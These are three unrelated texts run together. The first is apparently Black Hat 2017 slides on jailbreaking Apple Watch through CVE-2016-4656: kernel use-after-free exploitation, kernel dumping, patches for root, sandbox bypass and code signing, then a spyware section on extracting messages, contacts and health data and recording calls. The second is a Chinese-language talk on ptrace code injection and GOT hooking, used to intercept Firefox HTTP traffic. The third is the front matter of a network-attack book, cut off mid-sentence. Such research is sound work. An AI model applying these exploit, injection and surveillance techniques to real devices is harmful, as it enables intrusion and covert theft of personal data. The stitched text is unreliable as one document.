under control July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 kern_return_t is_io_registry_entry_get_property_bytes( io_object_t registry_entry, io_name_t property_name, io_struct_inband_t buf, … ) { ... UInt64 offsetBytes; // stack based buffer ... } else if( (off = OSDynamicCast( OSNumber, obj ))) { offsetBytes = off->unsigned64BitValue(); len = off->numberOfBytes(); bytes = &offsetBytes; ... if (bytes) { if( *dataCnt < len) ret = kIOReturnIPCError; else { *dataCnt = len; bcopy( bytes, buf, len ); // copy from stack based buffer Will be returned to userland We control this value Points to stack based buffer July 27-30, 2017 CVE-2016-4656%exploitation o  Kernel mode UAF in OSUnserializeBinary o  OSString object deallocated o  retain() called on deallocated object o  Fake object with fake vtable –> code exec o  Problem: kernel dump required o  Bonus: we can deref any address via fake vtable 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, …) { newCollect = isRef = false; ... case kOSSerializeDictionary: o = newDict = OSDictionary::withCapacity(len); newCollect = (len != 0); break; ... if (!isRef) { setAtIndex(objs, objsIdx, o); if (!ok) break; objsIdx++; } Save object to objs array 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 if (dict) { if (sym) … else { sym = OSDynamicCast(OSSymbol, o); if (!sym && (str = OSDynamicCast(OSString, o))) { sym = (OSSymbol *) OSSymbol::withString(str); o->release(); o = 0; } ok = (sym != 0); } } case kOSSerializeObject: if (len >= objsIdx) break; o = objsArray[len]; o->retain(); isRef = true; break; Object saved to objs array destroyed Deallocated object retained 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 o  No WatchOS kernel dumps in public o  No keys for WatchOS 2.x kernels o  Idea: read kernel as OSString chunks o  vtable offset required to fake OSString o  vtable stored in __DATA.__const in kernel Dumping kernel as OSString 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - __DATA.__const leak o  __DATA.__const address is in Mach-O header o  Kernel base + 0x224 == __DATA.__const o  Deref and branch address via fake vtable 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - known offset o  Get vtable offset from similar XNU build o  Known delta from __DATA.__const start o  Tune address with +/- delta 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable - known offset o  Get vtable offset from similar XNU build o  Known delta from __DATA.__const start o  Tune address with +/- delta 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Getting vtable – OSString layout OSString::~OSString(). OSObject::getRetainCount(). OSObject::release(int). OSObject::retain(). OSObject::release(). vtable.ptr.+.0x8. retain.count. flags. length. string.ptr. vtable.ptr.+.0x8. retain.count. flags. length. string.ptr. OSString::~OSString(). OSObject::getRetainCount(). OSObject::release(int). OSObject::retain(). OSObject::release(). 0x0. 0x4. 0x8. 0xC. 0x10. 0x0. 0x8. 0x10. 0x18. 0x0. 0x4. 0x8. 0xC. 0x10. 0x0. 0x8. 0x10. 0x18. 0x20. OSString 32 bit OSString 64 bit 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 OSString layout OSString vtable pointer OSObject::retain() offset 32% 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 o  vtable ptr is first 8 bytes of a on object o  OSString size is 0x20 (64 bit) o  retain() off is vtable start + 0x20 (64 bit) o  Next node ptr as deallocated object vtable o  Idea - retain() OOB to next node in freelist o  If next node is OSString – branch object vtable Getting vtable – next free node trick 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 kalloc.32 freelist Next node pointer 32% Freelist head 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 o  Heap spray OSString objects o  Make dozen OSDictionaries with OSString o  Trigger OSDictionary deallocation o  retain() -> deref next free chunk pointer o  Free chunk is surrounded by OSStrings o  retain() ->%OOB branch to next OSString node Getting vtable – next free node trick 13 14 15 16 17 18 19 20 21 22 23 24 July 27-30, 2017 Heap spray and OOB branch to vtable Allocated OSString object Deallocated OSString object Branch out of bounds to next node 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 o  Heap spray OSString objects o  Make few OSDictionary with OSString o  Trigger OSDictionary deallocation o  retain() -> deref next free chunk pointer o  Free chunk is surrounded by OSStrings o  retain() ->%OOB branch to next OSString node Getting vtable – next free node trick ….on.32.bits.L. 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – dump over panic o  OSString vtable reference in OSUnserialize J o  We can deref any address as fake vtable ptr 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – dump over panic o  Crash in OSUnserializeBinaryXML o  Get LR register value from panic o  Use fake vtable to deref LR value o  Get panic from a watch o  We just dump 4 bytes of a kernel J 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – dumping kernel o  Use address to leak as vtable_addr - 0x10% o  We need to tune by retain() offset in vtable o  Crash and get panic log o  Copy panic from Watch to iPhone -> Mac o  Parse panic, grab 4 bytes of a kernel TEXT o  Update address with 4 bytes delta and repeat 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – final steps o  Crash in OSUnserializeXML o  Leak opcode until ‘BL OSUnserializeBinary’ o  Leak OSUnserializeBinary opcodes o  Finally get OSString vtable offset 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – final steps OSString vtable offset OSUnserializeBinary address 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Getting vtable – final steps o  5 minutes for recover watch after crash o  5 minutes to fetch panic from watch o  2 minutes to copy to Mac and parse o  No way to automate a process o  It takes me two weeks to dump vtable 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next step – full kernel dump o  Now use fake OSString obj to read kernel o  Read data via IORegistryEntryGetProperty o  Leak kernel header, calculate kernel size o  Dump full kernel to userland by chunks 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next step – kernel symbolication o  Find and list all kexts o  Find sysent and resolve syscalls o  Find and resolve mach traps o  Resolve IOKit objects vtable 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next step – setting up primitives o  Scan kernel dump for gadgets o  Set up exec primitive o  Set up kernel read & write primitives 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next step – kernel structs layout o  Look for proc_* functions o  Restore proc structure layout o  Dump memory, check for known values 25 26 27 28 29 30 31 32 33 34 35 36 July 27-30, 2017 Next step – kernel structs layout o  memmem string \ byte pattern o  + xref + instruction analysis o  Resolve syscalls table, mach traps table o  Simple instruction emulation 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Getting root and sandbox bypass o  Patch setreuid (no KPP J) o  patch ucred in proc structure in kernel o  patch sandbox label value in ucred 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Getting kernel task o  Patch task_for_pid() o  Or save kernel sself in task bootstrap port o  Read it back via task_get_special_port() o  Restore original bootstrap port value 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Disable codesign checks o  Patch _debug to 1 o  patch _nl_symbol_ptr (got) entries o  Patch amfi variables - cs_enforcement_disable - allow_invalid_signatures 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Remount rootfs o  Patch __mac_mount o  Change flags in rootfs vnode and mount RW o  Patch lwvm is_write_protected check o  Patch PE_i_can_has_debugger in lwvm 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Spawning ssh client o  Compile dropbear for ARMv7k% o  Compile basic tools package for ARMv7k o  Problem: More sandbox restrictions o  Kill WatchOS specific sandbox operations 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 ssh connection problem… "awdl0/ipv6"%=%"fe80::c837:8аff:fe60:90c2";% "lo0/ipv4”%%%%%%=%"127.0.0.1";% "lo0/ipv6"%%%%%%=%"fe80::1";% "utun0/ipv6"%=%"fe80::face:5e30:271e:3cd3";% o  WatchOS interfaces 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Watch <-> iPhone port forwarding NSDictionary *comm = @{! @"Command" :@"StartForwardingServicePort", @"ForwardedServiceName" :@"com.apple.syslog_relay",! @"GizmoRemotePortNumber" :[NSNumber numberWithUnsignedShort: pt],! @"IsServiceLowPriority" :@0,};! ! AMDServiceConnectionSendMessage(serviceConnection,! (__bridge CFPropertyListRef)(comm), kCFPropertyListXMLFormat_v1_0);! ! AMDServiceConnectionReceiveMessage(serviceConnection, &response, (CFPropertyListFormat*)&format);! ! NSNumber *iphone_port = response[@"CompanionProxyServicePort"];! Thanks to Luca J 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 ssh connection over bluetooth 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Black Hat Sound Bytes 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Watch as a spyware target o  Watch have access to SMS, Calls, Health% o  Photos and emails synced to Watch o  Fetch GPS location from the phone o  Microphone usage o  Apple Pay J 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Dumping Messages, Contacts, Emails o  Just dump from sqlite DB or de-serialize data private/var/mobile/Library/AddressBook/ private/var/mobile/Library/NanoMailKit/ private/var/mobile/Library/SMS/ o  Hook on fly on device sync\notification 37 38 39 40 41 42 43 44 45 46 47 48 July 27-30, 2017 Dumping Calendar, Passes, pair info o  Just dump from sqlite DB or de-serialize data private/var/mobile/Library/Health/ private/var/mobile/Library/Caches/ private/var/mobile/Library/Application Data/ o  Hook on fly on device sync\notification 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Dumping Health, Caches, Photos o  Just dump from sqlite DB or de-serialize data private/var/mobile/Library/Health/ private/var/mobile/Library/Caches/ private/var/mobile/Library/Application Data/ o  Hook on fly on device sync\notification 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 Call recording o  AudioToolbox.framework exists but not public o  Add observer on CTTelephonyCenter o  Catch kCTCallStatusChange in a callback o  Hook AudioUnitProcess function o  Create file via ExtAudioFileCreateWithURL o  Use ExtAudioFileWrite to dump call data 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 References o  Stefan Esser - iOS 10 - Kernel Heap Revisited o  Luca Todesco - com.apple.companion_proxy client o  Lookout - Technical Analysis of the Pegasus Exploits on iOS o  Siguza - tfp0 powered by Pegasus 49 50 51 52 53 54 55 56 57 58 59 60 July 27-30, 2017 @mbazaliy 49 50 51 52 53 54 55 56 57 58 59 60
pdf
黃建忠 (from TAIWAN) whoami ● 現任研究生 ● Linux 愛好者,關注系統安全領域 ● 不是哪個資 ( ㄏㄞ ˋ) 安 ( ㄎㄜ ˋ) 組織或 公司的成員 ● 簡單說就是一個路人 QQ 今天講什麼? ● 一點點的除錯器 (debugger) 實現原理 ● Memory search ● Code injection ● Dynamic library function hooking 易 一點點難 題目有點簡單 ...... 今天的目標 ●本投影片提供足夠的資 訊,希望讓各位看完後, 都有能力自己實作相關技 術 我們需要的東西 ● 一台 Linux 機器 (64 位元 ) Linux Mint 17 ● Python(2.7.6) ● 一點點的 c 語言和 intel x64 組語 Part 1 ●一點點的除錯器實現原理 除錯器是啥? ● 用來惡搞或蹂躪其他 process 的遙控器 ● GDB,ollydbg..... 等 看起來很好很強大 ,BUT..... ● 我想找哪條指令或數值在 memory 的哪 裡? ● 我想對別的 process 加很多料 ● 我們需要一個客製 , 自動化的工具 你不會想一直拿著遙控器的 ... 自己的工具自己寫 !! ● 除錯器是怎麼運作的 ? ● 怎麼去改或讀其他 process 的 memory ? 如何讀寫其他 process 的 memory? ● ptrace (linux 提供的一個 system call) ● /proc/pid/mem (kernel >= 2.6.39) ● process_vm_readv, process_vm_writev( kernel >= 3.2) 下斷點 (set breakpoint) ● 讓 process 停在想停的地方 ● 寫入 int 3(0xcc) 指令 ● 用 wait() 等待 trap 事件的發生 執行後 用 wait() 來等待 trap ptrace(1) ● 功能很多,但我們只有下列需求 → 讀寫 data 從 ( 到 ) 某個地址 (8 bytes in x64) → Attach,continue,detach process → 讀或寫暫存器的值 ptrace(2) 記憶體讀寫 Process 控制 暫存器讀寫 那用什麼語言寫 ? ● 我就是不想用 C 語言寫 ●人生苦短 , 請用 python ctypes ● python 的標準模組 ● 在 python 用 c 的 library ● 要知道我們要的 function 在哪個 library printf 在 libc.so.6 ptrace,wait, 常用 function.... ctypes- 定義變數 (1) ctypes type C type Python type c_char char 1-character string c_long long int/long c_ulong unsigned long int/long c_char_p char * (NUL terminated) string or None c_void_p void * int/long or None 在 python 定義 c 語言型態的變數 ctypes- 定義變數 (2) 定義 Array ctypes- 定義結構體 C Python 微 debugger Part 2 ●Memory search Memory search ● 尋找特定指令或數值的位址 ● 應用 → 找 ROP gadget ? → 遊戲修改器 ? 但是我後面都不是以上用途 ....... Memory search- 怎麼找 ● man proc ● /proc/[pid]/maps (看地圖 ) → 收集相關資訊 ● /proc/[pid]/mem → 從這邊找 /proc/[pid]/maps r-xp code segment r—p 和 rw-p data segment 載入 SO 記憶體區段位址範圍 也包含 heap 和 stack 相關資訊 /proc/[pid]/mem(1) ● Process 的 memory 內容 ● 可當作 file 存取 (open,read,lseek) ● 需要先用 ptrace attach 後才可以存取 需要 ROOT 權限 /proc/[pid]/mem(2) ● 在 python 怎麼存取? ● 就像處理普通的 file /proc/[pid]/mem- 範例 相關訊息都由 proc/[pid]/maps 取得 “48 83 c4 08 c3” 複製貼上就好 /proc/[pid]/mem- 執行 Part 3 ●Code injection Code injection ● 把指令寫入到目標 process 的 memory → 白話一點,給目標 process 加點料 ● 以注入 so 為範例 ● 唯一用 C 語言和 x64 組語的地方(只有一點點 ...) 在 windows 這叫 DLL 要生出一個 so 注入 SO 能幹啥? ● Hotpatch ( 不用重啟程式就可完成更新 ) ● function hooking ● 作防毒軟體!? 順便一提,有些惡意軟 體也採用類似的技巧 如何注入 SO ? ● 既然都可以用 ptrace 控制目標的暫存器了 ...... → 讓目標 process 執行載入 so 的 api 即可 ● 哪一個 API ? → __libc_dlopen_mode ( 位在 libc.so) 參考 glibc-2.19 的原始碼 IDEA 源自 BLACK HAT 2001 injectso 如何注入 SO - 找位址 (1) ● 因為 ASLR(Address space layout randomization) → 每次載入 SO 的位址都不一樣 ● ● 但是 OFFSET 不變 → 所需 API 的位址相對位址都一樣 OFFSET 都一樣 dlopen dlsym 來算 OFFSET 如何注入 SO - 找位址 (2) 自己也載入相同的 SO 來算 offset 參考目標 /proc/pid/maps + so 的起始位址 如何注入 SO - 準備參數 ● 在 Intel x64 ,是如何傳遞參數的? 把參數丟到暫存器 ( 32 位元是丟到 stack) 如何注入 SO - 實現 ● 準備一個要注入的 so Part 4 ●Hooking function hooking(1) ● Hooking 是什麼 ? → 攔截或替換 process 的某一個 function 的一種技巧 function hooking(2) ● 那我用 hook 作什麼事 ? → 統計某個 function 被呼叫了幾次 → 替換或監視這個 function 的參數內容 1. 下斷點 2. 看參數或統計斷點觸發次數 3. 移除斷點,讓目標恢復執行 不是這樣就搞定了嗎 ? BUT.......... function hooking(3) ● 如果目標是 multi-thread 性質的程式 ● 如果目標 function 會被大量呼叫 → 瀏覽器符合以上特性 (後面以 firefox 為例 ) 可~~~能~~~會~~~很~~~慢~~~ 有時候目標還會崩潰 QQ CODE 0xcc firefox Timer Cache I/O Socket Thread 斷點 假設少處理到一個 thread 產生的 trap 崩潰 放張崩潰圖 HOOK 前注意事項 ● 目標 → 不要讓目標崩潰 (crash) → 對目標執行速度影響要小 → hook 方法要容易實現 HOOK 方法 ● 採用的方法 → 1. 先注入 SO ( 前面我們已經會了 ) → 2. 讓要 hook 的 function 跳到注入的 so 裡 → 3. 再從注入的 so 跳回去原本的 function 把前面的功能拼一拼就可實現 hook 範例 ● 一個非常簡單的例子 ● 目標 → 攔截 puts ,讓它不要在睡了 如何改變執行流程 (1) ? ● 先來看點組合語言(在呼叫 puts 之前 ) 跳到 0x400430 位址 跳到 0x601000 所存的位址 如何改變執行流程 (2) ? ● 還是再來點組合語言(在呼叫 puts 之後 ) 跳到 0x400430 位址 ( 跟剛剛一樣 ) 值不一樣了,這是 puts 的實際所在位址 如何改變執行流程 (3) ? ● Linux 的動態連結實現機制 → plt → got → 實際 function 的所在位址 ● 其實這樣作是有道理的 ... 但是先不管它 ● 只要改寫 GOT 表格的值即可搞定 → 用 memory search 的功能找要改的值在哪 ? 如何改變執行流程 (4) ? ● 那注入的 SO 要做什麼 ? → 備份所有的暫存器 → 做你想做的事 → 還原所有的暫存器 → 跳回原本被 hook 的 function 位址 ● 怎麼跳回去 → push Address → ret 都使用組合語言 64 位元要迂迴一點,不能直接 push 8bytes 的值到 stack 注入的 SO 長這樣 static inline function 把暫存器丟到 stack 備份 or 還原 先用 memory search 找到後改為 被 hook 的位址 DEMO 以 Firefox 為例 ● 要攔截哪一個 function ? → PR_Write 位在 libnspr4.so ● 為什麼攔它 ? → 會被許多 thread 大量呼叫,很好的測試點 → HTTP 的 GET,POST 請求 可以攔到神奇的東西 DEMO 結論 ●Thanks 參考資料 ● 1.injectso → https://github.com/ice799/injectso64 ● 2. playing with ptrace → http://www.linuxjournal.com/article/6100 ● 3. python ctypes →https://docs.python.org/2/library/ctypes.html
pdf
|||||||||||||||||||| |||||||||||||||||||| ATTACKING NETWORK PROTOCOLS A Hacker’s Guide to Capture, Analysis, and Exploitation by James Forshaw San Francisco |||||||||||||||||||| |||||||||||||||||||| ATTACKING NETWORK PROTOCOLS. Copyright © 2018 by James Forshaw. All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. ISBN-10: 1-59327-750-4 ISBN-13: 978-1-59327-750-5 Publisher: William Pollock Production Editor: Laurel Chun Cover Illustration: Garry Booth Interior Design: Octopod Studios Developmental Editors: Liz Chadwick and William Pollock Technical Reviewers: Cliff Janzen Additional Technical Reviewers: Arrigo Triulzi and Peter Gutmann Copyeditor: Anne Marie Walker Compositors: Laurel Chun and Meg Sneeringer Proofreader: Paula L. Fleming Indexer: BIM Creatives, LLC For information on distribution, translations, or bulk sales, please contact No Starch Press, Inc. directly: No Starch Press, Inc. 245 8th Street, San Francisco, CA 94103 phone: 1.415.863.9900; [email protected] www.nostarch.com Library of Congress Control Number: 2017954429 No Starch Press and the No Starch Press logo are registered trademarks of No Starch Press, Inc. Other product and company names mentioned herein may be the trademarks of their respective owners. Rather than use a trademark symbol with every occurrence of a trademarked name, we are using the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. The information in this book is distributed on an “As Is” basis, without warranty. While every precaution has been taken in the preparation of this work, neither the author nor No Starch Press, Inc. shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in it. |||||||||||||||||||| |||||||||||||||||||| About the Author James Forshaw is a renowned computer security researcher at Google Project Zero, with more than ten years of experience in analyzing and exploiting application network protocols. His skills range from cracking game consoles to exposing complex design issues in operating systems, especially Microsoft Windows, which earned him the top bug bounty of $100,000 and placed him as the #1 researcher on Microsoft Security Response Center’s (MSRC) published list. He’s the creator of the network protocol analysis tool, Canape, which was developed from his years of experience. He’s been invited to present his novel security research at global security conferences such as BlackHat, CanSecWest and Chaos Computer Congress. |||||||||||||||||||| |||||||||||||||||||| About the Technical Reviewer Since the early days of Commodore PET and VIC-20, technology has been a constant companion (and sometimes an obsession!) to Cliff Janzen. Cliff discovered his career passion when he moved to information security in 2008 after a decade of IT operations. Since then, Cliff has had the great fortune to work with and learn from some of the best people in the industry, including Mr. Forshaw and the fine people at No Starch during the production of this book. He is happily employed as a security consultant, doing everything from policy review to penetration tests. He feels lucky to have a career that is also his favorite hobby and a wife who supports him. |||||||||||||||||||| |||||||||||||||||||| BRIEF CONTENTS Foreword by Katie Moussouris Acknowledgments Introduction Chapter 1: The Basics of Networking Chapter 2: Capturing Application Traffic Chapter 3: Network Protocol Structures Chapter 4: Advanced Application Traffic Capture Chapter 5: Analysis from the Wire Chapter 6: Application Reverse Engineering Chapter 7: Network Protocol Security Chapter 8: Implementing the Network Protocol Chapter 9: The Root Causes of Vulnerabilities Chapter 10: Finding and Exploiting Security Vulnerabilities Appendix: Network Protocol Analysis Toolkit Index |||||||||||||||||||| |||||||||||||||||||| CONTENTS IN DETAIL FOREWORD by Katie Moussouris ACKNOWLEDGMENTS INTRODUCTION Why Read This Book? What’s in This Book? How to Use This Book Contact Me 1 THE BASICS OF NETWORKING Network Architecture and Protocols The Internet Protocol Suite Data Encapsulation Headers, Footers, and Addresses Data Transmission Network Routing My Model for Network Protocol Analysis Final Words 2 CAPTURING APPLICATION TRAFFIC Passive Network Traffic Capture Quick Primer for Wireshark Alternative Passive Capture Techniques System Call Tracing The strace Utility on Linux Monitoring Network Connections with DTrace Process Monitor on Windows Advantages and Disadvantages of Passive Capture Active Network Traffic Capture Network Proxies Port-Forwarding Proxy SOCKS Proxy HTTP Proxies |||||||||||||||||||| |||||||||||||||||||| Forwarding an HTTP Proxy Reverse HTTP Proxy Final Words 3 NETWORK PROTOCOL STRUCTURES Binary Protocol Structures Numeric Data Booleans Bit Flags Binary Endian Text and Human-Readable Data Variable Binary Length Data Dates and Times POSIX/Unix Time Windows FILETIME Tag, Length, Value Pattern Multiplexing and Fragmentation Network Address Information Structured Binary Formats Text Protocol Structures Numeric Data Text Booleans Dates and Times Variable-Length Data Structured Text Formats Encoding Binary Data Hex Encoding Base64 Final Words 4 ADVANCED APPLICATION TRAFFIC CAPTURE Rerouting Traffic Using Traceroute Routing Tables Configuring a Router Enabling Routing on Windows Enabling Routing on *nix |||||||||||||||||||| |||||||||||||||||||| Network Address Translation Enabling SNAT Configuring SNAT on Linux Enabling DNAT Forwarding Traffic to a Gateway DHCP Spoofing ARP Poisoning Final Words 5 ANALYSIS FROM THE WIRE The Traffic-Producing Application: SuperFunkyChat Starting the Server Starting Clients Communicating Between Clients A Crash Course in Analysis with Wireshark Generating Network Traffic and Capturing Packets Basic Analysis Reading the Contents of a TCP Session Identifying Packet Structure with Hex Dump Viewing Individual Packets Determining the Protocol Structure Testing Our Assumptions Dissecting the Protocol with Python Developing Wireshark Dissectors in Lua Creating the Dissector The Lua Dissection Parsing a Message Packet Using a Proxy to Actively Analyze Traffic Setting Up the Proxy Protocol Analysis Using a Proxy Adding Basic Protocol Parsing Changing Protocol Behavior Final Words 6 APPLICATION REVERSE ENGINEERING Compilers, Interpreters, and Assemblers Interpreted Languages |||||||||||||||||||| |||||||||||||||||||| Compiled Languages Static vs. Dynamic Linking The x86 Architecture The Instruction Set Architecture CPU Registers Program Flow Operating System Basics Executable File Formats Sections Processes and Threads Operating System Networking Interface Application Binary Interface Static Reverse Engineering A Quick Guide to Using IDA Pro Free Edition Analyzing Stack Variables and Arguments Identifying Key Functionality Dynamic Reverse Engineering Setting Breakpoints Debugger Windows Where to Set Breakpoints? Reverse Engineering Managed Languages .NET Applications Using ILSpy Java Applications Dealing with Obfuscation Reverse Engineering Resources Final Words 7 NETWORK PROTOCOL SECURITY Encryption Algorithms Substitution Ciphers XOR Encryption Random Number Generators Symmetric Key Cryptography Block Ciphers Block Cipher Modes Block Cipher Padding |||||||||||||||||||| |||||||||||||||||||| Padding Oracle Attack Stream Ciphers Asymmetric Key Cryptography RSA Algorithm RSA Padding Diffie–Hellman Key Exchange Signature Algorithms Cryptographic Hashing Algorithms Asymmetric Signature Algorithms Message Authentication Codes Public Key Infrastructure X.509 Certificates Verifying a Certificate Chain Case Study: Transport Layer Security The TLS Handshake Initial Negotiation Endpoint Authentication Establishing Encryption Meeting Security Requirements Final Words 8 IMPLEMENTING THE NETWORK PROTOCOL Replaying Existing Captured Network Traffic Capturing Traffic with Netcat Using Python to Resend Captured UDP Traffic Repurposing Our Analysis Proxy Repurposing Existing Executable Code Repurposing Code in .NET Applications Repurposing Code in Java Applications Unmanaged Executables Encryption and Dealing with TLS Learning About the Encryption In Use Decrypting the TLS Traffic Final Words 9 THE ROOT CAUSES OF VULNERABILITIES Vulnerability Classes |||||||||||||||||||| |||||||||||||||||||| Remote Code Execution Denial-of-Service Information Disclosure Authentication Bypass Authorization Bypass Memory Corruption Vulnerabilities Memory-Safe vs. Memory-Unsafe Programming Languages Memory Buffer Overflows Out-of-Bounds Buffer Indexing Data Expansion Attack Dynamic Memory Allocation Failures Default or Hardcoded Credentials User Enumeration Incorrect Resource Access Canonicalization Verbose Errors Memory Exhaustion Attacks Storage Exhaustion Attacks CPU Exhaustion Attacks Algorithmic Complexity Configurable Cryptography Format String Vulnerabilities Command Injection SQL Injection Text-Encoding Character Replacement Final Words 10 FINDING AND EXPLOITING SECURITY VULNERABILITIES Fuzz Testing The Simplest Fuzz Test Mutation Fuzzer Generating Test Cases Vulnerability Triaging Debugging Applications Improving Your Chances of Finding the Root Cause of a Crash Exploiting Common Vulnerabilities Exploiting Memory Corruption Vulnerabilities |||||||||||||||||||| |||||||||||||||||||| Arbitrary Memory Write Vulnerability Writing Shell Code Getting Started Simple Debugging Technique Calling System Calls Executing the Other Programs Generating Shell Code with Metasploit Memory Corruption Exploit Mitigations Data Execution Prevention Return-Oriented Programming Counter-Exploit Address Space Layout Randomization (ASLR) Detecting Stack Overflows with Memory Canaries Final Words NETWORK PROTOCOL ANALYSIS TOOLKIT Passive Network Protocol Capture and Analysis Tools Microsoft Message Analyzer TCPDump and LibPCAP Wireshark Active Network Capture and Analysis Canape Canape Core Mallory Network Connectivity and Protocol Testing Hping Netcat Nmap Web Application Testing Burp Suite Zed Attack Proxy (ZAP) Mitmproxy Fuzzing, Packet Generation, and Vulnerability Exploitation Frameworks American Fuzzy Lop (AFL) Kali Linux Metasploit Framework Scapy Sulley Network Spoofing and Redirection |||||||||||||||||||| |||||||||||||||||||| DNSMasq Ettercap Executable Reverse Engineering Java Decompiler (JD) IDA Pro Hopper ILSpy .NET Reflector INDEX |||||||||||||||||||| |||||||||||||||||||| FOREWORD When I first met James Forshaw, I worked in what Popular Science described in 2007 as one of the top ten worst jobs in science: a “Microsoft Security Grunt.” This was the broad- swath label the magazine used for anyone working in the Microsoft Security Response Center (MSRC). What positioned our jobs as worse than “whale-feces researcher” but somehow better than “elephant vasectomist” on this list (so famous among those of us who suffered in Redmond, WA, that we made t-shirts) was the relentless drumbeat of incoming security bug reports in Microsoft products. It was here in MSRC that James, with his keen and creative eye toward the uncommon and overlooked, first caught my attention as a security strategist. James was the author of some of the most interesting security bug reports. This was no small feat, considering the MSRC was receiving upwards of 200,000 security bug reports per year from security researchers. James was finding not only simple bugs—he had taken a look at the .NET framework and found architecture-level issues. While these architecture-level bugs were harder to address in a simple patch, they were much more valuable to Microsoft and its customers. Fast-forward to the creation of Microsoft’s first bug bounty programs, which I started at the company in June of 2013. We had three programs in that initial batch of bug bounties—programs that promised to pay security researchers like James cash in exchange for reporting the most serious bugs to Microsoft. I knew that for these programs to prove their efficacy, we needed high-quality security bugs to be turned in. If we built it, there was no guarantee that the bug finders would come. We knew we were competing for some of the most highly skilled bug hunting eyes in the world. Numerous other cash rewards were available, and not all of the bug markets were for defense. Nation-states and criminals had a well-established offense market for bugs and exploits, and Microsoft was relying on the finders who were already coming forward at the rate of 200,000 bug reports per year for free. The bounties were to focus the attention of those friendly, altruistic bug hunters on the problems Microsoft needed the most help with eradicating. So of course, I called on James and a handful of others, because I was counting on them to deliver the buggy goods. For these first Microsoft bug bounties, we security grunts in the MSRC really wanted vulnerabilities for Internet Explorer (IE) 11 beta, and we wanted something no software vendor had ever tried to set a bug bounty on before: we wanted to know about new exploitation techniques. That latter bounty was known as the Mitigation Bypass Bounty, and worth $100,000 at the time. I remember sitting with James over a beer in London, trying to get him excited about looking for IE bugs, when he explained that he’d never looked at browser security much before and cautioned me not to expect much from him. |||||||||||||||||||| |||||||||||||||||||| James nevertheless turned in four unique sandbox escapes for IE 11 beta. Four. These sandbox escapes were in areas of the IE code that our internal teams and private external penetration testers had all missed. Sandbox escapes are essential to helping other bugs be more reliably exploitable. James earned bounties for all four bugs, paid for by the IE team itself, plus an extra $5,000 bonus out of my bounty budget. Looking back, I probably should have given him an extra $50,000. Because wow. Not bad for a bug hunter who had never looked at web browser security before. Just a few months later, I was calling James on the phone from outside a Microsoft cafeteria on a brisk autumn day, absolutely breathless, to tell him that he had just made history. This particular Microsoft Security Grunt couldn’t have been more thrilled to deliver the news that his entry for one of the other Microsoft bug bounty programs—the Mitigation Bypass Bounty for $100,000—had been accepted. James Forshaw had found a unique new way to bypass all the platform defenses using architecture-level flaws in the latest operating system and won the very first $100,000 bounty from Microsoft. On that phone call, as I recall the conversation, he said he pictured me handing him a comically-huge novelty check onstage at Microsoft’s internal BlueHat conference. I sent the marketing department a note after that call, and in an instant, “James and the Giant Check” became part of Microsoft and internet history forever. What I am certain readers will gain in the following pages of this book are pieces of James’s unparalleled brilliance—the same brilliance that I saw arching across a bug report or four so many years ago. There are precious few security researchers who can find bugs in one advanced technology, and fewer still who can find them in more than one with any consistency. Then there are people like James Forshaw, who can focus on deeper architecture issues with a surgeon’s precision. I hope that those reading this book, and any future book by James, treat it like a practical guide to spark that same brilliance and creativity in their own work. In a bug bounty meeting at Microsoft, when the IE team members were shaking their heads, wondering how they could have missed some of the bugs James reported, I stated |||||||||||||||||||| |||||||||||||||||||| simply, “James can see the Lady in the Red Dress, as well as the code that rendered her, in the Matrix.” All of those around the table accepted this explanation for the kind of mind at work in James. He could bend any spoon; and by studying his work, if you have an open mind, then so might you. For all the bug finders in the world, here is your bar, and it is high. For all the untold numbers of security grunts in the world, may all your bug reports be as interesting and valuable as those supplied by the one and only James Forshaw. Katie Moussouris Founder and CEO, Luta Security October 2017 |||||||||||||||||||| |||||||||||||||||||| ACKNOWLEDGMENTS I’d like 